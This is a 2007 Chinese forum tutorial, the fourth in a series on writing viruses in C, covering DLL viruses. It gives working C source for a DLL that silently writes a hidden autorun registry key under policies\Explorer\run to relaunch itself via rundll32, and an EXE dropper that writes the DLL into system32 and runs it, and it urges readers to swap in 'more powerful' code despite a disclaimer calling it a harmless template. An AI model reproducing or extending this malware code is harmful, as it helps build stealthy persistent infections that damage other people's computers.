用C语言写病毒(4)
作者:卧龙孔明 文章来源:本站原创 点击数:…… 更新时间:2007-7-20 16:37:46
原帖及讨论:
http://bbs.bc-cn.net/dispbbs.asp?boardid=5&id=156885前4期链接,请点击:
第一期,最简单的exe病毒(TC编译通过): 第二期,一个完整病毒示例(DEV-CPP工程下 GCC编译通过): 第三期,编程技术和病毒原理(1)--注册表: 第四期,DLL病毒前几期链接:
第一期,最简单的exe病毒(TC编译通过):
http://bbs.bc-cn.net/dispbbs.asp?BoardID=5&ID=142740&star=at#第二期,一个完整病毒示例(DEV-CPP工程下 GCC编译通过):
http://bbs.bc-cn.net/dispbbs.asp?BoardID=5&ID=148427&star=at#第三期,编程技术和病毒原理(1)--注册表:
http://bbs.bc-cn.net/dispbbs.asp?BoardID=5&ID=148947&star=at#-------------------------------------------------------------------------------------------------
首先说明一下,有些网友提出前3篇文章大都在讲注册表,没有新内容,但我认为:现在病毒几乎100%修改注册表,
因而(1)(2)的两个病毒示例也应做到如此,并且(1)(2)中分别用了不同的修改方法,用了不少不同的病毒技术.
而(3)是(1)(2)中部分技术的总结与技术方法的详细介绍,并又介绍了一些其它的注册表操作,再者,90%的病毒
必须通过注册表自启动,因此修改注册表可以是每个"真"病毒必须做的事.
本连载文章只讨论写病毒的技术,并不讨论危害计算机及网络,所示例的程序只是一个无危害的模板,你可以在技术范围及法律范围内扩充实验.
在读本程序前请保证不用此程序进行违法活动,由于你使用本程序而对他人、组织等造成的任何损失都由将你承担,本人不负任何责任,否则,请马上离开.
拒绝任何形式的转载(本人除外),否则属于著作侵权,将受到《中华人民共和国软件保护条理》、《中华人民共和国著作权法》、《中华人民共和国知识产权法》等法律最大限度的制裁!!
--------------------------------------------------------------------------------------------------
这次讲一下DLL病毒:
随着病毒的发展,病毒也由破坏的目的转为利益的目的,因此隐蔽的DLL病毒逐渐发展起来.DLL是Dynamic Link
Library 的缩写,中文为动态链接库,它的实质并不是一个程序,而是由多个功能函数构成的.而DLL病毒是通过
特别的方法,让系统文件Rundll.exe \ Rundll32.exe等调用其的函数,而所调用的函数的代码就是病毒代码,或
者通过线程插入技术插入到系统进程explorer.exe svchost.exe lsass.exe winlogon.exe 等或
iexplorer.exe等常用软件进程中,达到隐蔽的目的.
DLL病毒的编写(rundll32.exe调用法)
同建立一般的C工程一样,建立一个DLL C工程,这时会有两个文件dll.h dllmain.c被建立,其中在dll.h中声明
函数,dllmain.c中编写函数,函数的内容就是病毒代码.
最简单的DLL病毒例子:
dllmain.c内容:
/*只要你有充足的知识积淀,可以无限的扩充,使其变的强悍
具体代码可以参照<用C语言写病毒(2)>*/
/*在DEV-CPP 4.9.9.2 DLL C工程中编译测试通过*/
#include "dll.h"
#include <stdio.h>
#include <stdlib.h>
DLLIMPORT void start ()
{
FILE *output;
/*
注册[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\run]
这又是一个以前未与大家说的注册表位置,这个位置可以提前与explorer.exe执行,且一般的病毒用的不
多,十分隐蔽
*/
if((output=fopen("$","w"))!=NULL)
{
fprintf(output,"REGEDIT4\n
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\Explorer\\run]
\n\"Userinit\"=\"rundll32.exe C:\\\\WINDOWS\\\\system32\\\\winsys.dll start ()\"");
fclose(output);
spawnl(0,"c:\\windows\\regedit.exe"," /s $",NULL);
remove("$");
}
}
dll.h内容:
/*在DEV-CPP 4.9.9.2 DLL C工程中编译测试通过*/
#ifndef _DLL_H_
#define _DLL_H_
#if BUILDING_DLL
# define DLLIMPORT __declspec (dllexport)
#else
# define DLLIMPORT __declspec (dllimport)
#endif
DLLIMPORT void start (void);
#endif /* _DLL_H_ */
这个例子可以在explorer.exe运行前启动并再次自动写自动运行键值,前提是需要将该DLL文件写于
c:\windows\system32\winsys.dll,这就可以交给exe主病毒来做了,这就是要说的DLL病毒与EXE病毒联合,这样
可以加强病毒的攻击力度,它由主病毒体*.exe来释放dll病毒辅助体*.dll,达到dll与exe联合的作用.一般
的,dll用来设置注册表的自启动,以及病毒的复制,而exe用来破坏.当然,也有少部分DLL病毒孤军奋战,由于十
分隐蔽,也常常十分好用
释放病毒体示例:
/*释放上面的简单dll病毒体的例子的exe*/
#include<stdio.h>
unsigned char DLL[15161] = {
...此处代码过长,略... 具体代码下载(DLL代码+EXE释放代码): 后面提供附件
};
int main(void)
{
FILE *output;
int i;
output=fopen("C:\\WINDOWS\\system32\\winsys.dll","wb");
fwrite(DLL,sizeof(DLL),1,output);
fclose(output);
spawnl(1,"c:\\windows\\system32\\rundll32.exe"," C:\\WINDOWS\\system32\\winsys.dll start
()",NULL);
return 0;
}
好了,抛砖引玉,将代码增加,更改,换做你写的更厉害的代码...
就写到这儿,请期待连载(5)
本期完整代码下载:(DLL代码+EXE释放代码):
附件[ 此帖被ljpdxj在2007-12-15 11:29重新编辑 ]